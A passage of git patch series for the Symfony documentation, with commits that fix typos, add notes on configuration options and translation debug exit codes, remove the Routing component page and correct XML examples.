+++ b/notifier/texters.rst
@@ -10,7 +10,7 @@ How to send SMS Messages
     :doc:`experimental feature </contributing/code/experimental>`.
 
 The :class:`Symfony\\Component\\Notifier\\TexterInterface` class allows
-you to sent SMS messages::
+you to send SMS messages::
 
     // src/Controller/SecurityController.php
     namespace App\Controller;

From 0b5e03a704dff6fcade5c9a113717b4cbcf47dac Mon Sep 17 00:00:00 2001
From: Tobias Nyholm <tobias.nyholm@gmail.com>
Date: Thu, 26 Mar 2020 19:53:11 +0100
Subject: [PATCH 0549/7107] Make sure one can copy NPM command

Comments cannot be copies
---
 frontend/encore/installation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index 1603fc7dd98..b39fec3a296 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -35,7 +35,7 @@ Install Encore into your project via Yarn:
     $ yarn add @symfony/webpack-encore --dev
 
     # if you prefer npm, run this command instead:
-    # npm install @symfony/webpack-encore --save-dev
+    $ npm install @symfony/webpack-encore --save-dev
 
 This command creates (or modifies) a ``package.json`` file and downloads
 dependencies into a ``node_modules/`` directory. Yarn also creates/updates a

From 08ae842982ee273ca3f81087d5bdac4298108981 Mon Sep 17 00:00:00 2001
From: Martin Melka <melkamar@users.noreply.github.com>
Date: Thu, 26 Mar 2020 15:44:15 +0100
Subject: [PATCH 0550/7107] Add note about special handling of 'name' argument

Fixes !13422
---
 components/config/definition.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index c6353644b88..a8507439544 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -357,6 +357,10 @@ In order to maintain the array keys use the ``useAttributeAsKey()`` method::
         ->end()
     ;
 
+.. note::
+
+    If using YAML, then the ``'name'`` argument of ``useAttributeAsKey`` has a special meaning and refers to the key of the map (``sf_connection`` and ``default`` in this example). If a child node was defined for the ``connections`` node with the name ``name``, then the key of the map would be lost.
+
 The argument of this method (``name`` in the example above) defines the name of
 the attribute added to each XML node to differentiate them. Now you can use the
 same YAML configuration shown before or the following XML configuration:

From ddd1bed760890fc9d7f2b678e995ab4e7b540925 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 27 Mar 2020 15:29:36 +0100
Subject: [PATCH 0551/7107] Minor tweaks

---
 components/config/definition.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index a8507439544..ab612c7ea18 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -359,7 +359,10 @@ In order to maintain the array keys use the ``useAttributeAsKey()`` method::
 
 .. note::
 
-    If using YAML, then the ``'name'`` argument of ``useAttributeAsKey`` has a special meaning and refers to the key of the map (``sf_connection`` and ``default`` in this example). If a child node was defined for the ``connections`` node with the name ``name``, then the key of the map would be lost.
+    In YAML, the ``'name'`` argument of ``useAttributeAsKey()`` has a special
+    meaning and refers to the key of the map (``sf_connection`` and ``default``
+    in this example). If a child node was defined for the ``connections`` node
+    with the key ``name``, then that key of the map would be lost.
 
 The argument of this method (``name`` in the example above) defines the name of
 the attribute added to each XML node to differentiate them. Now you can use the

From a53412373ffe9792c843c63900badc233355bf17 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 24 Mar 2020 13:47:20 +0100
Subject: [PATCH 0552/7107] Adding `anonymous`

---
 reference/configuration/security.rst | 16 +++++++++++++++-
 1 file changed, 15 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index a4a84a7859c..0f409e95f2e 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -29,6 +29,7 @@ Configuration
 
 * `access_denied_url`_
 * `always_authenticate_before_granting`_
+* `anonymous`_
 * `erase_credentials`_
 * `hide_user_not_found`_
 * `session_fixation_strategy`_
@@ -61,6 +62,19 @@ If ``true``, the user is asked to authenticate before each call to the
 ``isGranted()`` method in services and controllers or ``is_granted()`` from
 templates.
 
+anonymous
+~~~~~~~~~
+
+**type**: ``string`` **default**: ``~``
+
+When set to ``lazy``, Symfony loads the user (and starts the session) only if the
+application actually accesses the ``User`` object (e.g. via a ``is_granted()`` call
+in a template or ``isGranted()`` in a controller or service.
+
+.. versionadded:: 4.4
+
+    The option ``lazy`` was introduced in Symfony 4.4.
+
 erase_credentials
 ~~~~~~~~~~~~~~~~~
 
@@ -554,7 +568,7 @@ logout_on_user_change
     The ``logout_on_user_change`` option was deprecated in Symfony 4.1.
 
 If ``false`` this option makes Symfony to not trigger a logout when the user has
-changed. Doing that is deprecated, so this option should set to ``true`` or
+changed. Doing that is deprecated, so this option should be set to ``true`` or
 unset to avoid getting deprecation messages.
 
 The user is considered to have changed when the user class implements

From efce60b72cb5b257fb90d0f681dc1b95a9ee524d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 27 Mar 2020 15:41:14 +0100
Subject: [PATCH 0553/7107] Minor tweak

---
 reference/configuration/security.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 0f409e95f2e..c3f66e1c5f5 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -67,13 +67,13 @@ anonymous
 
 **type**: ``string`` **default**: ``~``
 
-When set to ``lazy``, Symfony loads the user (and starts the session) only if the
-application actually accesses the ``User`` object (e.g. via a ``is_granted()`` call
-in a template or ``isGranted()`` in a controller or service.
+When set to ``lazy``, Symfony loads the user (and starts the session) only if
+the application actually accesses the ``User`` object (e.g. via a ``is_granted()``
+call in a template or ``isGranted()`` in a controller or service).
 
 .. versionadded:: 4.4
 
-    The option ``lazy`` was introduced in Symfony 4.4.
+    The ``lazy`` value of the ``anonymous`` option was introduced in Symfony 4.4.
 
 erase_credentials
 ~~~~~~~~~~~~~~~~~

From 9fe3193189aeac3b8244b8825832dced90eaacaf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 20 Mar 2020 17:38:55 +0100
Subject: [PATCH 0554/7107] [Translation] Documented the debug:translation exit
 codes

---
 translation/debug.rst | 30 ++++++++++++++++++++++++++++++
 1 file changed, 30 insertions(+)

diff --git a/translation/debug.rst b/translation/debug.rst
index afe1c778e77..74e52783245 100644
--- a/translation/debug.rst
+++ b/translation/debug.rst
@@ -180,3 +180,33 @@ unused or only the missing messages, by using the ``--only-unused`` or
 
     $ php bin/console debug:translation en --only-unused
     $ php bin/console debug:translation en --only-missing
+
+Debug Command Exit Codes
+------------------------
+
+The exit code of the ``debug:translation`` command changes depending on the
+status of the translations. Use the following public constants to check it::
+
+    use Symfony\Bundle\FrameworkBundle\Command\TranslationDebugCommand;
+
+    // generic failure (e.g. there are no translations)
+    TranslationDebugCommand::EXIT_CODE_GENERAL_ERROR;
+
+    // there are missing translations
+    TranslationDebugCommand::EXIT_CODE_MISSING;
+
+    // there are unused translations
+    TranslationDebugCommand::EXIT_CODE_UNUSED;
+
+    // some translations are using the fallback translation
+    TranslationDebugCommand::EXIT_CODE_FALLBACK;
+
+These constants are defined as "bit masks", so you can combine them as follows::
+
+    if (TranslationDebugCommand::EXIT_CODE_MISSING | TranslationDebugCommand::EXIT_CODE_UNUSED) {
+        // ... there are missing and/or unused translations
+    }
+
+.. versionadded:: 5.1
+
+    The exit codes were introduced in Symfony 5.1

From 4cfcd93a115fe462168ce031baecaa4949956406 Mon Sep 17 00:00:00 2001
From: Andrey <lukin.andrej@gmail.com>
Date: Wed, 25 Mar 2020 09:45:54 +0300
Subject: [PATCH 0555/7107] Add clear description of `resolve` env processor

Add a clear description of `resolve`  env processor, describing what is actually  resolved.

#13205
---
 configuration/env_var_processors.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 67d9bca422e..7d59d946fc8 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -232,8 +232,8 @@ Symfony provides the following env var processors:
             ]);
 
 ``env(resolve:FOO)``
-    Replaces the string ``FOO`` by the value of a config parameter with the
-    same name:
+    Replace all matches of ``%param_name%`` in the parameter ``FOO`` by the values of a config parameters with the
+    matched ``param_name``:
 
     .. configuration-block::
 

From 772f342d68b0b55334a8e58bf087ce9f1683944b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 27 Mar 2020 16:16:55 +0100
Subject: [PATCH 0556/7107] Reword

---
 configuration/env_var_processors.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 7d59d946fc8..ceca80957b8 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -232,8 +232,8 @@ Symfony provides the following env var processors:
             ]);
 
 ``env(resolve:FOO)``
-    Replace all matches of ``%param_name%`` in the parameter ``FOO`` by the values of a config parameters with the
-    matched ``param_name``:
+    If the content of ``FOO`` includes container parameters (with the syntax
+    ``%parameter_name%``), it replaces the parameters by their values:
 
     .. configuration-block::
 

From 11ea50e3583c64772a055c0b61c99cbe556375a4 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 27 Mar 2020 21:04:41 +0100
Subject: [PATCH 0557/7107] Removed Routing component docs

---
 _build/redirection_map                    |   5 +-
 components/config/resources.rst           |   8 +-
 components/http_kernel.rst                |   4 +-
 components/routing.rst                    | 321 ----------------------
 create_framework/routing.rst              |  10 +-
 introduction/from_flat_php_to_symfony.rst |   4 +-
 6 files changed, 18 insertions(+), 334 deletions(-)
 delete mode 100644 components/routing.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 8114a00ebbf..6d591d7ffc5 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -345,8 +345,8 @@
 /components/http_kernel/index /components/http_kernel
 /components/property_access/introduction /components/property_access
 /components/property_access/index /components/property_access
-/components/routing/index /components/routing
-/components/routing/introduction /components/routing
+/components/routing/index https://github.com/symfony/routing
+/components/routing/introduction https://github.com/symfony/routing
 /components/routing/hostname_pattern /routing/hostname_pattern
 /components/security/introduction /components/security
 /components/security/index /components/security
@@ -478,3 +478,4 @@
 /components/translation/usage /translation
 /components/translation/custom_formats https://github.com/symfony/translation
 /components/translation/custom_message_formatter https://github.com/symfony/translation
+/components/routing https://github.com/symfony/routing
diff --git a/components/config/resources.rst b/components/config/resources.rst
index 3ee380a9828..73d28a5db78 100644
--- a/components/config/resources.rst
+++ b/components/config/resources.rst
@@ -11,7 +11,11 @@ Loading Resources
     parameters to string values. To set parameters to other data types
     (e.g. boolean, integer, etc), the other loaders are recommended.
     
-Loaders populate the application's configuration from different sources like YAML files. The Config component defines the interface for such loaders. The :doc:`Dependency Injection </components/dependency_injection>` and :doc:`Routing </components/routing>` components come with specialized loaders for different file formats.
+Loaders populate the application's configuration from different sources
+like YAML files. The Config component defines the interface for such
+loaders. The :doc:`Dependency Injection </components/dependency_injection>`
+and `Routing`_ components come with specialized loaders for different file
+formats.
 
 Locating Resources
 ------------------
@@ -95,3 +99,5 @@ the resource::
     // YamlUserLoader is used to load this resource because it supports
     // files with the '.yaml' extension
     $delegatingLoader->load(__DIR__.'/users.yaml');
+
+.. _Routing: https://github.com/symfony/routing
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index dfceb7fe6c4..9a1d5a31049 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -200,8 +200,8 @@ attributes).
     is the :class:`Symfony\\Component\\HttpKernel\\EventListener\\RouterListener`.
     This class executes the routing layer, which returns an *array* of information
     about the matched request, including the ``_controller`` and any placeholders
-    that are in the route's pattern (e.g. ``{slug}``). See
-    :doc:`Routing component </components/routing>`.
+    that are in the route's pattern (e.g. ``{slug}``). See the
+    :doc:`Routing documentation </routing>`.
 
     This array of information is stored in the :class:`Symfony\\Component\\HttpFoundation\\Request`
     object's ``attributes`` array. Adding the routing information here doesn't
diff --git a/components/routing.rst b/components/routing.rst
deleted file mode 100644
index f01b94defb1..00000000000
--- a/components/routing.rst
+++ /dev/null
@@ -1,321 +0,0 @@
-.. index::
-   single: Routing
-   single: Components; Routing
-
-The Routing Component
-=====================
-
-    The Routing component maps an HTTP request to a set of configuration
-    variables. It's used to build routing systems for web applications where
-    each URL is associated with some code to execute.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/routing
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-The main :doc:`Symfony routing </routing>` article explains all the features of
-this component when used inside a Symfony application. This article only
-explains the things you need to do to use it in a non-Symfony PHP application.
-
-Routing System Setup
---------------------
-
-A routing system has three parts:
-
-* A :class:`Symfony\\Component\\Routing\\RouteCollection`, which contains the
-  route definitions (instances of the :class:`Symfony\\Component\\Routing\\Route` class);
-* A :class:`Symfony\\Component\\Routing\\RequestContext`, which has information
-  about the request;
-* A :class:`Symfony\\Component\\Routing\\Matcher\\UrlMatcher`, which performs
-  the mapping of the path to a single route.
-
-Here is a quick example::
-
-    use App\Controller\BlogController;
-    use Symfony\Component\Routing\Generator\UrlGenerator;
-    use Symfony\Component\Routing\Matcher\UrlMatcher;
-    use Symfony\Component\Routing\RequestContext;
-    use Symfony\Component\Routing\Route;
-    use Symfony\Component\Routing\RouteCollection;
-
-    $route = new Route('/blog/{slug}', ['_controller' => BlogController::class]);
-    $routes = new RouteCollection();
-    $routes->add('blog_show', $route);
-
-    $context = new RequestContext('/');
-
-    // Routing can match routes with incoming requests
-    $matcher = new UrlMatcher($routes, $context);
-    $parameters = $matcher->match('/blog/lorem-ipsum');
-    // $parameters = [
-    //     '_controller' => 'App\Controller\BlogController',
-    //     'slug' => 'lorem-ipsum',
-    //     '_route' => 'blog_show'
-    // ]
-
-    // Routing can also generate URLs for a given route
-    $generator = new UrlGenerator($routes, $context);
-    $url = $generator->generate('blog_show', [
-        'slug' => 'my-blog-post',
-    ]);
-    // $url = '/blog/my-blog-post'
-
-The :method:`RouteCollection::add() <Symfony\\Component\\Routing\\RouteCollection::add>`
-method takes two arguments. The first is the name of the route. The second
-is a :class:`Symfony\\Component\\Routing\\Route` object, which expects a
-URL path and some array of custom variables in its constructor. This array
-of custom variables can be *anything* that's significant to your application,
-and is returned when that route is matched.
-
-The :method:`UrlMatcher::match() <Symfony\\Component\\Routing\\Matcher\\UrlMatcher::match>`
-returns the variables you set on the route as well as the route parameters.
-Your application can now use this information to continue processing the request.
-In addition to the configured variables, a ``_route`` key is added, which holds
-the name of the matched route.
-
-If no matching route can be found, a
-:class:`Symfony\\Component\\Routing\\Exception\\ResourceNotFoundException` will
-be thrown.
-
-Defining Routes
----------------
-
-A full route definition can contain up to eight parts::
-
-    $route = new Route(
-        '/archive/{month}', // path
-        ['_controller' => 'showArchive'], // default values
-        ['month' => '[0-9]{4}-[0-9]{2}', 'subdomain' => 'www|m'], // requirements
-        [], // options
-        '{subdomain}.example.com', // host
-        [], // schemes
-        [], // methods
-        'context.getHost() matches "/(secure|admin).example.com/"' // condition
-    );
-
-    // ...
-
-    $parameters = $matcher->match('/archive/2012-01');
-    // [
-    //     '_controller' => 'showArchive',
-    //     'month' => '2012-01',
-    //     'subdomain' => 'www',
-    //     '_route' => ...
-    // ]
-
-    $parameters = $matcher->match('/archive/foo');
-    // throws ResourceNotFoundException
-
-Route Collections
------------------
-
-You can add routes or other instances of
-:class:`Symfony\\Component\\Routing\\RouteCollection` to *another* collection.
-This way you can build a tree of routes. Additionally you can define common
-options for all routes of a subtree using methods provided by the
-``RouteCollection`` class::
-
-    $rootCollection = new RouteCollection();
-
-    $subCollection = new RouteCollection();
-    $subCollection->add(...);
-    $subCollection->add(...);
-    $subCollection->addPrefix('/prefix');
-    $subCollection->addDefaults([...]);
-    $subCollection->addRequirements([...]);
-    $subCollection->addOptions([...]);
-    $subCollection->setHost('{subdomain}.example.com');
-    $subCollection->setMethods(['POST']);
-    $subCollection->setSchemes(['https']);
-    $subCollection->setCondition('context.getHost() matches "/(secure|admin).example.com/"');
-
-    $rootCollection->addCollection($subCollection);
-
-Setting the Request Parameters
-------------------------------
-
-The :class:`Symfony\\Component\\Routing\\RequestContext` provides information
-about the current request. You can define all parameters of an HTTP request
-with this class via its constructor::
-
-    public function __construct(
-        $baseUrl = '',
-        $method = 'GET',
-        $host = 'localhost',
-        $scheme = 'http',
-        $httpPort = 80,
-        $httpsPort = 443,
-        $path = '/',
-        $queryString = ''
-    )
-
-.. _components-routing-http-foundation:
-
-Normally you can pass the values from the ``$_SERVER`` variable to populate the
-:class:`Symfony\\Component\\Routing\\RequestContext`. But if you use the
-:doc:`HttpFoundation </components/http_foundation>` component, you can use its
-:class:`Symfony\\Component\\HttpFoundation\\Request` class to feed the
-:class:`Symfony\\Component\\Routing\\RequestContext` in a shortcut::
-
-    use Symfony\Component\HttpFoundation\Request;
-
-    $context = new RequestContext();
-    $context->fromRequest(Request::createFromGlobals());
-
-Loading Routes
---------------
-
-The Routing component comes with a number of loader classes, each giving you the
-ability to load a collection of route definitions from external resources.
-
-File Routing Loaders
-~~~~~~~~~~~~~~~~~~~~
-
-Each loader expects a :class:`Symfony\\Component\\Config\\FileLocator` instance
-as the constructor argument. You can use the :class:`Symfony\\Component\\Config\\FileLocator`
-to define an array of paths in which the loader will look for the requested files.
-If the file is found, the loader returns a :class:`Symfony\\Component\\Routing\\RouteCollection`.
-
-If you're using the ``YamlFileLoader``, then route definitions look like this:
-
-.. code-block:: yaml
-
-    # routes.yaml
-    route1:
-        path:       /foo
-        controller: MyController::fooAction
-        methods:    GET|HEAD
-    route2:
-        path:       /foo/bar
-        controller: FooBarInvokableController
-        methods:    PUT
-
-To load this file, you can use the following code. This assumes that your
-``routes.yaml`` file is in the same directory as the below code::
-
-    use Symfony\Component\Config\FileLocator;
-    use Symfony\Component\Routing\Loader\YamlFileLoader;
-
-    // looks inside *this* directory
-    $fileLocator = new FileLocator([__DIR__]);
-    $loader = new YamlFileLoader($fileLocator);
-    $routes = $loader->load('routes.yaml');
-
-Besides :class:`Symfony\\Component\\Routing\\Loader\\YamlFileLoader` there are two
-other loaders that work the same way:
-
-* :class:`Symfony\\Component\\Routing\\Loader\\XmlFileLoader`
-* :class:`Symfony\\Component\\Routing\\Loader\\PhpFileLoader`
-
-If you use the :class:`Symfony\\Component\\Routing\\Loader\\PhpFileLoader` you
-have to provide the name of a PHP file which returns a callable handling a
-:class:`Symfony\\Component\\Routing\\Loader\\Configurator\\RoutingConfigurator`.
-This class allows to chain imports, collections or simple route definition calls::
-
-    // RouteProvider.php
-    use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
-
-    return function (RoutingConfigurator $routes) {
-        $routes->add('route_name', '/foo')
-            ->controller('ExampleController')
-            // ...
-        ;
-    };
-
-Closure Routing Loaders
-~~~~~~~~~~~~~~~~~~~~~~~
-
-There is also the :class:`Symfony\\Component\\Routing\\Loader\\ClosureLoader`, which
-calls a closure and uses the result as a :class:`Symfony\\Component\\Routing\\RouteCollection`::
-
-    use Symfony\Component\Routing\Loader\ClosureLoader;
-
-    $closure = function () {
-        return new RouteCollection();
-    };
-
-    $loader = new ClosureLoader();
-    $routes = $loader->load($closure);
-
-Annotation Routing Loaders
-~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Last but not least there are
-:class:`Symfony\\Component\\Routing\\Loader\\AnnotationDirectoryLoader` and
-:class:`Symfony\\Component\\Routing\\Loader\\AnnotationFileLoader` to load
-route definitions from class annotations::
-
-    use Doctrine\Common\Annotations\AnnotationReader;
-    use Symfony\Bundle\FrameworkBundle\Routing\AnnotatedRouteControllerLoader;
-    use Symfony\Component\Config\FileLocator;
-    use Symfony\Component\Routing\Loader\AnnotationDirectoryLoader;
-
-    $loader = new AnnotationDirectoryLoader(
-        new FileLocator(__DIR__.'/app/controllers/'),
-        new AnnotatedRouteControllerLoader(
-            new AnnotationReader()
-        )
-    );
-
-    $routes = $loader->load(__DIR__.'/app/controllers/');
-    // ...
-
-.. include:: /_includes/_annotation_loader_tip.rst.inc
-
-The all-in-one Router
-~~~~~~~~~~~~~~~~~~~~~
-
-The :class:`Symfony\\Component\\Routing\\Router` class is an all-in-one package
-to use the Routing component. The constructor expects a loader instance,
-a path to the main route definition and some other settings::
-
-    public function __construct(
-        LoaderInterface $loader,
-        $resource,
-        array $options = [],
-        RequestContext $context = null,
-        LoggerInterface $logger = null
-    );
-
-With the ``cache_dir`` option you can enable route caching (if you provide a
-path) or disable caching (if it's set to ``null``). The caching is done
-automatically in the background if you want to use it. A basic example of the
-:class:`Symfony\\Component\\Routing\\Router` class would look like::
-
-    $fileLocator = new FileLocator([__DIR__]);
-    $requestContext = new RequestContext('/');
-
-    $router = new Router(
-        new YamlFileLoader($fileLocator),
-        'routes.yaml',
-        ['cache_dir' => __DIR__.'/cache'],
-        $requestContext
-    );
-    $parameters = $router->match('/foo/bar');
-    $url = $router->generate('some_route', ['parameter' => 'value']);
-
-.. note::
-
-    If you use caching, the Routing component will compile new classes which
-    are saved in the ``cache_dir``. This means your script must have write
-    permissions for that location.
-
-Learn more
-----------
-
-.. toctree::
-    :maxdepth: 1
-    :glob:
-
-    /routing
-    /routing/*
-    /controller
-    /controller/*
diff --git a/create_framework/routing.rst b/create_framework/routing.rst
index dacb248c5c6..d381daed2eb 100644
--- a/create_framework/routing.rst
+++ b/create_framework/routing.rst
@@ -70,12 +70,10 @@ of default values for route attributes (``['name' => 'World']``).
 
 .. note::
 
-    Read the
-    :doc:`Routing component documentation </components/routing>` to
-    learn more about its many features like URL generation, attribute
-    requirements, HTTP method enforcement, loaders for YAML or XML files,
-    dumpers to PHP or Apache rewrite rules for enhanced performance and much
-    more.
+    Read the :doc:`Routing documentation </routing>` to learn more about
+    its many features like URL generation, attribute requirements, HTTP
+    method enforcement, loaders for YAML or XML files, dumpers to PHP or
+    Apache rewrite rules for enhanced performance and much more.
 
 Based on the information stored in the ``RouteCollection`` instance, a
 ``UrlMatcher`` instance can match URL paths::
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index e9bbf16167c..fdfe7f359af 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -532,8 +532,8 @@ a simple application. Along the way, you've made a simple routing
 system and a method using ``ob_start()`` and ``ob_get_clean()`` to render
 templates. If, for some reason, you needed to continue building this "framework"
 from scratch, you could at least use Symfony's standalone
-:doc:`Routing </components/routing>` component and :doc:`Twig </templates>`,
-which already solve these problems.
+:doc:`Routing </routing>` component and :doc:`Twig </templates>`, which
+already solve these problems.
 
 Instead of re-solving common problems, you can let Symfony take care of
 them for you. Here's the same sample application, now built in Symfony::

From 8057fcb63b76a336fc61dc39dd30130b57016178 Mon Sep 17 00:00:00 2001
From: Maxime Steinhausser <ogizanagi@users.noreply.github.com>
Date: Sat, 28 Mar 2020 20:57:23 +0100
Subject: [PATCH 0558/7107] Mention the link script --copy option

---
 contributing/code/pull_requests.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 2ca6a46fa45..4bb86e1fab7 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -191,6 +191,12 @@ uses, and replaces them by symbolic links to the ones in the Git repository.
 Before running the ``link`` command, be sure that the dependencies of the project you
 want to debug are installed by running ``composer install`` inside it.
 
+.. tip::
+
+    If symlinks to your local Symfony fork cannot be resolved inside your project due to 
+    your dev environment (for instance when using Vagrant where only the current project 
+    directory is mounted), you can alternatively use the ``--copy`` option.
+
 .. _work-on-your-patch:
 
 Work on your Pull Request

From ae7c0a32bd8a291e0ecf5bcc3a8b6d610846b172 Mon Sep 17 00:00:00 2001
From: Guilliam Xavier <guilliamxavier@users.noreply.github.com>
Date: Mon, 30 Mar 2020 10:49:02 +0200
Subject: [PATCH 0559/7107] Routing - remove extra space in XML inline example

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index f905e3d9944..4d623835970 100644
--- a/routing.rst
+++ b/routing.rst
@@ -780,7 +780,7 @@ parameter:
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <route id="blog_list" path="/blog/{page <\d+>?1}"
+            <route id="blog_list" path="/blog/{page<\d+>?1}"
                    controller="App\Controller\BlogController::list"/>
 
             <!-- ... -->

From 75d2b8b69688bd4cca9b3c828e0a1db82114e286 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 30 Mar 2020 11:13:17 +0200
Subject: [PATCH 0560/7107] Removing note about Propel

---
 form/form_collections.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 45bd29df5ae..d5d26a873eb 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -12,9 +12,8 @@ that Task, right inside the same form.
 .. note::
 
     In this article, it's loosely assumed that you're using Doctrine as your
-    database store. But if you're not using Doctrine (e.g. Propel or just
-    a database connection), it's all very similar. There are only a few parts
-    of this tutorial that really care about "persistence".
+    database store. But if you're not using Doctrine, it's all very similar.
+    There are only a few parts of this tutorial that really care about "persistence".
 
     If you *are* using Doctrine, you'll need to add the Doctrine metadata,
     including the ``ManyToMany`` association mapping definition on the Task's

From d37e7d7eb4004177cbb6949d0dc111d8e8aea8f7 Mon Sep 17 00:00:00 2001
From: Benjamin Dos Santos <benjaminds95@hotmail.fr>
Date: Fri, 27 Mar 2020 16:59:46 +0100
Subject: [PATCH 0561/7107] Update multiple_buses.rst

---
 messenger/multiple_buses.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index a60a3e3f60b..5136553dac2 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -188,11 +188,11 @@ the correct tag:
                 <!-- command handlers -->
                 <prototype namespace="App\MessageHandler\" resource="%kernel.project_dir%/src/MessageHandler/*CommandHandler.php" autoconfigure="false">
                     <tag name="messenger.message_handler" bus="command.bus"/>
-                </service>
+                </prototype>
                 <!-- query handlers -->
                 <prototype namespace="App\MessageHandler\" resource="%kernel.project_dir%/src/MessageHandler/*QueryHandler.php" autoconfigure="false">
                     <tag name="messenger.message_handler" bus="query.bus"/>
-                </service>
+                </prototype>
             </services>
         </container>
 

From 2390a108cf4fde6330b4d163f33ba89a44c841c8 Mon Sep 17 00:00:00 2001
From: John Doe <pontorez@protonmail.ch>
Date: Sun, 29 Mar 2020 18:05:01 -0400
Subject: [PATCH 0562/7107] This page has moved

---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 79efbebbd58..1cfeda2fb3d 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -908,5 +908,5 @@ Learn more
 .. _`FrameworkExtraBundle documentation`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
 .. _`newer utf8mb4 character set`: https://dev.mysql.com/doc/refman/5.5/en/charset-unicode-utf8mb4.html
 .. _`Transactions and Concurrency`: http://docs.doctrine-project.org/projects/doctrine-orm/en/latest/reference/transactions-and-concurrency.html
-.. _`limit of 767 bytes for the index key prefix`: https://dev.mysql.com/doc/refman/5.6/en/innodb-restrictions.html
+.. _`limit of 767 bytes for the index key prefix`: https://dev.mysql.com/doc/refman/5.6/en/innodb-limits.html
 .. _`Doctrine screencast series`: https://symfonycasts.com/screencast/symfony3-doctrine

From ce414c490df654ef9be6fa4c0950f2bec811c523 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 30 Mar 2020 13:25:36 +0200
Subject: [PATCH 0563/7107] Removing redundant info

---
 form/form_collections.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index d5d26a873eb..99c63bcfb83 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -19,8 +19,7 @@ that Task, right inside the same form.
     including the ``ManyToMany`` association mapping definition on the Task's
     ``tags`` property.
 
-First, suppose that each ``Task`` belongs to multiple ``Tag`` objects. Start
-by creating a simple ``Task`` class::
+Let's start by creating a simple ``Task`` entity::
 
     // src/AppBundle/Entity/Task.php
     namespace AppBundle\Entity;
@@ -30,7 +29,6 @@ by creating a simple ``Task`` class::
     class Task
     {
         protected $description;
-
         protected $tags;
 
         public function __construct()

From f9f9816ecc2cba8338d44cced232e279e2b6a858 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 30 Mar 2020 13:47:36 +0200
Subject: [PATCH 0564/7107] Shortening the text

---
 form/form_collections.rst | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index d5d26a873eb..6c152d91229 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -106,12 +106,10 @@ Then, create a form class so that a ``Tag`` object can be modified by the user::
         }
     }
 
-With this, you have enough to render a tag form by itself. But since the end
-goal is to allow the tags of a ``Task`` to be modified right inside the task
-form itself, create a form for the ``Task`` class.
-
-Notice that you embed a collection of ``TagType`` forms using the
